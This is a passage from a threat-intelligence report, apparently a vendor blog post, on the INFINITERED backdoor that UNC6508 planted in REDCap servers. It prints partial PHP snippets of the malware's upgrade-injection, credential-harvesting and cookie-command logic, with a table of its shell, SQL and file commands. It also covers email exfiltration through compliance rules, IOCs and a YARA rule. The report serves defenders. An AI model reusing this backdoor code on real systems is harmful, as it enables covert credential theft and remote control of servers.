<li aria-level="1">
<p role="presentation"><span>Read the current software version, which includes the INFINITERED code. </span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Extract the malicious logic using GUID delimiter </span><span>b49e334d-9c01-463e-9bc5-00a6920fb66e.</span><span> </span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Inject backdoor code into the custom hooks configuration file. </span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Inject credential harvester code into the authentication system file.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Inject the extracted code from step 2 into the upgrade system file.</span></p>
</li>
</ol>
<p><span>In Elastic Beanstalk environments, INFINTERED performs additional steps to ensure persistence in cloud deployments. </span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>// b49e334d-9c01-463e-9bc5-00a6920fb66e
...
$file_upgrade = $base_path."Upgrade.php"; 
$file_content_upgrade = $zip-&gt;getFromName($file_upgrade); // new upgrade file content
$file_content_upgrade_local = file_get_contents(__FILE__); // Contents of the current file 
...
if ($file_content_upgrade !== false) {
    // Base64 GUID delimiter
    $dummy_marker = base64_decode('YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl');
    $pattern = "/$dummy_marker(.*?)$dummy_marker/s";
    if (preg_match($pattern, $file_content_upgrade_local, $matches)) {
        $extracted_text = $matches[0];
        $search_content = "// If running on AWS Elastic Beanstalk"; 
        $upgrade_decode = "// ".$extracted_text."\r\n\t\t".$search_content;
        $new_content = str_replace($search_content, $upgrade_decode, $file_content_upgrade);
        $zip-&gt;deleteName($file_upgrade);
        $zip-&gt;addFromString($file_upgrade, $new_content);
    }
}
$zip-&gt;close();
...
// b49e334d-9c01-463e-9bc5-00a6920fb66e</code></pre>
<p><span><span>Code Snippet 1: Intercept upgrades and inject INFINITERED code</span></span></p></div>
<div class="block-paragraph_advanced"><h4><span>Credential Harvester</span></h4>
<p><span>INFINITERED injects a credential harvester into the authentication system file to compromise user accounts. This component of the malware captures usernames and passwords submitted via POST requests during the login process. The credentials are encrypted using the environment’s default encryption routine and hidden inside a local REDCap sessions database table with the string “</span><span>xc32038474a” </span><span>prefixed to the Session ID. </span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>$currentUTC = gmdate('Y-m-d H:i:s');
$str = encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);
include dirname(__FILE__, 3) . DIRECTORY_SEPARATOR . 'redcap_connect.php';
$expiration_timestamp = strtotime("+60 days", strtotime($currentUTC));
$session_id = 'xc32038474a'.substr(bin2hex($currentUTC), -20);
$session_sql = "INSERT INTO [REDACTED] ([REDACTED],[REDACTED],[REDACTED]) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))";
@$rc_connection-&gt;query($session_sql);</code></pre>
<p><span><span>Code Snippet 2: Hide credentials in a legitimate database table</span></span></p></div>
<div class="block-paragraph_advanced"><h4><span>Backdoor</span></h4>
<p><span>INFINITERED also has backdoor functionality it establishes in the custom hooks system file inside the update package, specifically within a function that executes on every REDCap page load. This global hook ensures the backdoor runs on every page load. INFINITERED looks for a specific HTTP Cookie parameter named "</span><span>REDCAP-TOKEN</span><span>" and a cookie value starting with a specific plaintext string. If these conditions are present, the malware strips the prefix and decrypts the remaining payload with the environment's default decryption routine.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-markup"><code>$cookieValue = $_COOKIE['REDCAP-TOKEN'];
if ($cookieValue) {
    $magic_flag = '[REDACTED]'; // Cookie prefix
    ...
    // Decrypt message if cookie prefix is found
    $key = '[REDACTED]';
    $req_data = substr($cookieValue, strlen($magic_flag));
    $req_data = decrypt($req_data, $key);</code></pre>
<p><span><span>Code Snippet 3: Decrypting commands to INFINITERED</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>If the decrypted payload is empty, the malware acts as a beacon, returning system details such as the OS, PHP version, working directory, and database credentials including the hostname, username, password, and salt. When non-empty, the malware will parse the payload for command tags, which the threat actor can use to execute shell commands, run raw SQL queries, and transfer files.</span></p>
<h4><span>Supported Commands</span></h4>
<p><span>INFINITERED is capable of executing the following commands.</span></p></div>
<div class="block-paragraph_advanced"><div align="center">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Command Tag</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>00</code></p>
</td>
<td>
<p><code>Executes arbitrary system commands using shell_exec.</code></p>
</td>
</tr>
<tr>
<td>
<p><code>02</code></p>
</td>
<td>
<p><code>Uploads a file to the server. The payload contains the destination path and file content.</code></p>
</td>
</tr>
<tr>
<td>
<p><code>03</code></p>
</td>
<td>
<p><code>Retrieves stolen credentials stored in the legitimate database table.</code></p>
</td>
</tr>
<tr>
<td>
<p><code>04</code></p>
</td>
<td>
<p><code>Deletes the stolen credential records from the legitimate database table.</code></p>
</td>
</tr>
<tr>
<td>
<p><code>05</code></p>
</td>
<td>
<p><code>Executes arbitrary SQL queries against the database and returns the results.</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ej671a16i7fd8202nu6ltfg5p6x7u</code></p>
</td>
<td>
<p><code>Downloads an arbitrary file from the server. The payload following this tag specifies the full filesystem path of the target file.</code></p>
</td>
</tr>
<tr>
<td>
<p><code>Empty Payload</code></p>
</td>
<td>
<p><code>Beacons system information, database credentials, and configuration details.</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span>Table 1: Supported commands for INFINITERED</span></p>
</div></div>
<div class="block-paragraph_advanced"><h3><span>Domain Content Compliance Rule Abuse</span></h3>
<p><span>More than a year after the initial compromise, UNC6508 used overlapping credentials, harvested from REDCap, to access an administrator account. This underscores the challenge and importance of securing systems holistically. Defenders should enable </span><a href="https://knowledge.workspace.google.com/admin/security/deploy-2-step-verification" rel="noopener" target="_blank"><span>2-Step Verification (2SV)</span></a><span> and ensure unique credentials are used across different security domains to mitigate credential replay attacks.</span></p>
<p><span>UNC6508 then leveraged </span><a href="https://knowledge.workspace.google.com/admin/gmail/advanced/set-up-rules-for-advanced-email-content-filtering#compliance_rules" rel="noopener" target="_blank"><span>content compliance rules</span></a><span>, a legitimate feature present in many cloud-based enterprise productivity suites, to exfiltrate specific email communications. Administrators can create these rules to manage email messages that contain content matching predefined sets of words, phrases, text patterns, or numerical patterns. By default, compliance rules apply to all users in an organizational unit. The use of compliance rules for data exfiltration is a novel technique not previously observed with PRC-nexus threat actors.</span></p>
<p><span>Specifically, UNC6508 created a compliance rule named "</span><span>Patroit</span><span>" [sic] that used regular expressions to match on keyword and email address patterns in sent or received emails. Matches were silently BCC-forwarded to a threat actor-controlled Gmail address, </span><span>BebitaBarefoot774[@]gmail[.]com</span><span>, providing a covert and continuous stream of exfiltrated data. Upon discovery, GTIG disabled the Gmail account to prevent further data exfiltration.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/inifinitered-fig3.max-1000x1000.png" alt="Targeted intelligence collection categories">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="9x1mp">Figure 3: Targeted intelligence collection categories</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>The patterns used in the “Patroit” compliance rule suggest strategic intelligence collection targeting geo-strategic policy, military strategy, advanced technology, and medical research. The patterns also include professional email addresses and phone numbers for members of organizations in these spaces. Several of the terms applied have spelling errors, suggesting the list was manually maintained. </span></p>
<p><span>This ambitious scope of intelligence collection from UNC6508 may suggest a broader range of targets beyond the identified victims in the medical research community. GTIG assesses these collection priorities are aligned with the strategic interests of the People's Republic of China. </span></p>
<p><span>While most of the terms relate to defense and technology, the terms including medical research facilities, and the specific pathogen “Chikungunya,” stand out from the others. Chikungunya is a viral disease transmitted to humans from mosquitos and was responsible for an </span><a href="https://www.unmc.edu/healthsecurity/transmission/2025/09/30/explosive-chikungunya-virus-outbreak-in-china/" rel="noopener" target="_blank"><span>outbreak in China's Guangdong province</span></a><span> beginning in July 2025.</span></p>
<h3><span>Operations Security (OpSec)</span></h3>
<p><span>GTIG observed UNC6508 use sophisticated and meticulous OpSec techniques to conceal their activities from defenders. </span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/inifinitered-fig4.max-1000x1000.png" alt="UNC6508 operations security techniques">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="9x1mp">Figure 4: UNC6508 operations security techniques</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>UNC6508 relied heavily on Obfuscation (OBF) networks. This strategy, now frequently employed by PRC-nexus actors, involves routing traffic from offensive operations through a mix of compromised routers, residential proxies, Virtual Private Servers (VPS), and other devices.  </span></p>
<p><span>This operation used exclusively US-based OBF network IP addresses to access both the "</span><span>BebitaBarefoot774[@]gmail[.]com</span><span>" account and when replaying legitimate credentials to access the compromised enterprise administrator account. Additional OpSec techniques were also used, such as obtaining the threat actor-controlled Gmail account through a mass creation service and dedicating it exclusively to email data exfiltration.</span></p>
<p><span>By maintaining a high level of OpSec, UNC6508 significantly complicates the efforts of defenders to identify malicious patterns, establish accurate attribution, and map the threat actor’s infrastructure.</span></p>
<h3><span>Attribution</span></h3>
<p><span>GTIG attributes this activity to UNC6508 with high confidence. This assessment is based on infrastructure overlaps between campaigns, the consistent use of the INFINITERED backdoor on REDCap servers, and the specific targeting of medical research and defense sectors. We assess UNC6508 is an espionage motivated threat cluster, with priorities that align with historic PRC state-sponsored espionage trends and intelligence collection requirements.</span></p>
<h3><span>Indicators of Compromise (IOCs)</span></h3>
<p><span>To assist the wider community, we have also included a list of indicators in a <a href="https://www.virustotal.com/gui/collection/f3a266bed2b73690459e30a2e52e5afd4bc36ea83197ab8bf3d5cb17095a7eef" rel="noopener" target="_blank">GTI Collection</a> for registered users.</span></p>
<h4><span>Network Indicators</span></h4></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Type</strong></p>
</td>
<td>
<p><strong>Context</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>BebitaBarefoot774@gmail.com</span></p>
</td>
<td>
<p><span>Email</span></p>
</td>
<td>
<p><span>Email exfiltration account</span></p>
</td>
</tr>
<tr>
<td>
<p><span>23.169.65.49</span></p>
</td>
<td>
<p><span>IP</span></p>
</td>
<td>
<p><span>Source of admin login (Compromised ASUS router)</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h4><span>File Indicators</span></h4></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA256</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>Persistence (help.php)</span></p>
</td>
<td>
<p><span>ba6b73b0ca0dc7f86b3b397893ac32d729fd53f9df20643288f141f29d020af7</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Credential Harvester </span></p>
</td>
<td>
<p><span>db65c1b9f9e4cb4d729f45ad4b6fcf3e277caf9eb4c875425dec93fd883f9136</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Credential Harvester </span></p>
</td>
<td>
<p><span>c1ac43d23f89d41eb4ff131678ab562ab2cfed9aa334b13767ef141d303b0e5b</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Backdoor </span></p>
</td>
<td>
<p><span>8f0158855a656b629ca76ebca565f18bc25563ded34b65d6771632c20edb68ec</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Backdoor </span></p>
</td>
<td>
<p><span>51a57bfc9ed3eb6451c1c289607814d59e1698c666fb97ac5f694c398f23d045</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Dropper </span></p>
</td>
<td>
<p><span>4efbef69eb3b09bacff892d6a55778d07c418e7f15eba3cf1245e8cdfd8dda0b</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Dropper </span></p>
</td>
<td>
<p><span>58bb25777e0aa86bcd2125101e0bca4e8732b03d91bd8d2f205b446a2a8d5c86</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h4><span>Host Indicators</span></h4></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>b49e334d-9c01-463e-9bc5-00a6920fb66e</span></p>
</td>
<td>
<p><span>INFINITERED current software version GUID delimiter</span></p>
</td>
</tr>
<tr>
<td>
<p><span>xc32038474a</span></p>
</td>
<td>
<p><span>INFINITERED Redcap database session ID prefix</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h3><strong>MITRE ATT&amp;CK Mapping</strong></h3></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Tactic</strong></p>
</td>
<td>
<p><strong>Technique ID</strong></p>
</td>
<td>
<p><strong>Technique Name</strong></p>
</td>
<td>
<p><strong>Context/Activity</strong></p>
</td>
</tr>
<tr>
<td>
<p><strong>Initial Access</strong></p>
</td>
<td>
<p><span>T1190</span></p>
</td>
<td>
<p><span>Exploit Public-Facing Application</span></p>
</td>
<td>
<p><span>Exploitation of REDCap survey management servers.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Persistence</strong></p>
</td>
<td>
<p><span>T1505.003</span></p>
</td>
<td>
<p><span>Server Software Component: Web Shell</span></p>
</td>
<td>
<p><span>Deployment of INFINITERED and uploaders.</span></p>
</td>
</tr>
<tr>
<td> </td>
<td>
<p><span>T1554</span></p>
</td>
<td>
<p><span>Compromise Client Software Binary</span></p>
</td>
<td>
<p><span>Modification of REDCap to intercept updates.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Defense Evasion</strong></p>
</td>
<td>
<p><span>T1027</span></p>
</td>
<td>
<p><span>Obfuscated Files or Information</span></p>
</td>
<td>
<p><span>Use of Base64 encoding for malicious payloads within PHP files.</span></p>
</td>
</tr>
<tr>
<td> </td>
<td>
<p><span>T1090.003</span></p>
</td>
<td>
<p><span>Proxy: Multi-hop Proxy</span></p>
</td>
<td>
<p><span>Routing traffic through compromised IoT devices (OBF networks).</span></p>
</td>
</tr>
<tr>
<td> </td>
<td>
<p><span>T1562.001</span></p>
</td>
<td>
<p><span>Impair Defenses: Disable or Modify Tools</span></p>
</td>
<td>
<p><span>Creating "silent" BCC rules to avoid user detection.</span></p>
</td>
</tr>
<tr>
<td> </td>
<td>
<p><span>T1689</span></p>
</td>
<td>
<p><span>Downgrade Attack</span></p>
</td>
<td>
<p><span>Exploiting vulnerable legacy versions of REDCap.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Credential Access</strong></p>
</td>
<td>
<p><span>T1555</span></p>
</td>
<td>
<p><span>Credentials from Password Stores</span></p>
</td>
<td>
<p><span>Accessing local configuration files. </span></p>
</td>
</tr>
<tr>
<td> </td>
<td>
<p><span>T1056.003</span></p>
</td>
<td>
<p><span>Input Capture: Web Portal Capture</span></p>
</td>
<td>
<p><span>INFINITERED harvesting plaintext credentials from POST login requests.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Collection</strong></p>
</td>
<td>
<p><span>T1114.003</span></p>
</td>
<td>
<p><span>Email Collection: Email Forwarding Rule</span></p>
</td>
<td>
<p><span>Use of content compliance rules ("Patroit") for automated exfiltration.</span></p>
</td>
</tr>
<tr>
<td> </td>
<td>
<p><span>T1213</span></p>
</td>
<td>
<p><span>Data from Information Repositories</span></p>
</td>
<td>
<p><span>Searching storage and email for strategic keywords.</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Command and Control</strong></p>
</td>
<td>
<p><span>T1071.001</span></p>
</td>
<td>
<p><span>Application Layer Protocol: Web Protocols</span></p>
</td>
<td>
<p><span>C2 communication via HTTP Cookie parameters (REDCAP-TOKEN).</span></p>
</td>
</tr>
<tr>
<td>
<p><strong>Exfiltration</strong></p>
</td>
<td>
<p><span>T1567</span></p>
</td>
<td>
<p><span>Exfiltration Over Web Service</span></p>
</td>
<td>
<p><span>Silently forwarding sensitive data to actor-controlled Gmail addresses.</span></p>
</td>
</tr>
<tr>
<td> </td>
<td>
<p><span>T1071.001</span></p>
</td>
<td>
<p><span>Application Layer Protocol: Web Protocols</span></p>
</td>
<td>
<p><span>HTTP response to C2 commands</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h3>Detections</h3>
<h4>YARA Rules</h4></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_INFINITERED_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$magic_flag = "ej671a16i7fd8202nu6ltfg5p6x7u"
		$magic_flag_base64 = "ej671a16i7fd8202nu6ltfg5p6x7u" base64
		$marker = "b49e334d-9c01-463e-9bc5-00a6920fb66e"
		$marker_base64 = "YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl"
		$s1 = "substr($cookieValue, strlen($magic_flag));"
		$s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']"
		$s3 = "'data' =&gt; encrypt($data, $key)"
		$s4 = "$data = shell_exec($command);"
		$s5 = "move_uploaded_file($tmpPath, $fileName)"
		$s6 = "$data = implode('|', $fields)"
		$b_s1 = "substr($cookieValue, strlen($magic_flag));" base64
		$b_s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']" base64
		$b_s3 = "'data' =&gt; encrypt($data, $key)" base64
		$b_s4 = "$data = shell_exec($command);" base64
		$b_s5 = "move_uploaded_file($tmpPath, $fileName)" base64
		$b_s6 = "$data = implode('|', $fields)" base64
		$t1 = "(isset($_POST['username']) &amp;&amp; $_POST['password'])"
		$t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))"
		$t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);"
		$t4 = "redcap_connect.php"
		$b_t1 = "(isset($_POST['username']) &amp;&amp; $_POST['password'])" base64
		$b_t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))" base64
		$b_t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);" base64
		$b_t4 = "redcap_connect.php" base64
		$u1 = "$zip-&gt;open($filename) === TRUE)"
		$u2 = "$hooks_encode ="
		$u3 = "$auth_encode ="
		$u4 = "$file_content_hooks = $zip-&gt;getFromName($file_hooks);"
		$u5 = "$file_content_auth = $zip-&gt;getFromName($file_auth);"
		$u6 = "$file_content_upgrade = $zip-&gt;getFromName($file_upgrade);"
		$u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);"
		$u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);"
		$u9 = "str_replace($search_content, $auth_decode, $file_content_auth);"
		$b_u1 = "$zip-&gt;open($filename) === TRUE)" base64
		$b_u2 = "$hooks_encode =" base64
		$b_u3 = "$auth_encode =" base64
		$b_u4 = "$file_content_hooks = $zip-&gt;getFromName($file_hooks);" base64
		$b_u5 = "$file_content_auth = $zip-&gt;getFromName($file_auth);" base64
		$b_u6 = "$file_content_upgrade = $zip-&gt;getFromName($file_upgrade);" base64
		$b_u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);" base64
		$b_u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);" base64
		$b_u9 = "str_replace($search_content, $auth_decode, $file_content_auth);" base64
		$filemarker = "&lt;?php"
	condition:
		filesize &lt; 1MB and $filemarker in (0 .. 128) and (((any of ($magic*) or any of ($marker*)) and (any of ($s*) or any of ($t*) or any of ($u*))) or 4 of ($s*) or 4 of ($b_s*) or all of ($t*) or all of ($b_t*) or 6 of ($u*) or 6 of ($b_u*))
}</code></pre></div>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 3,90ms -->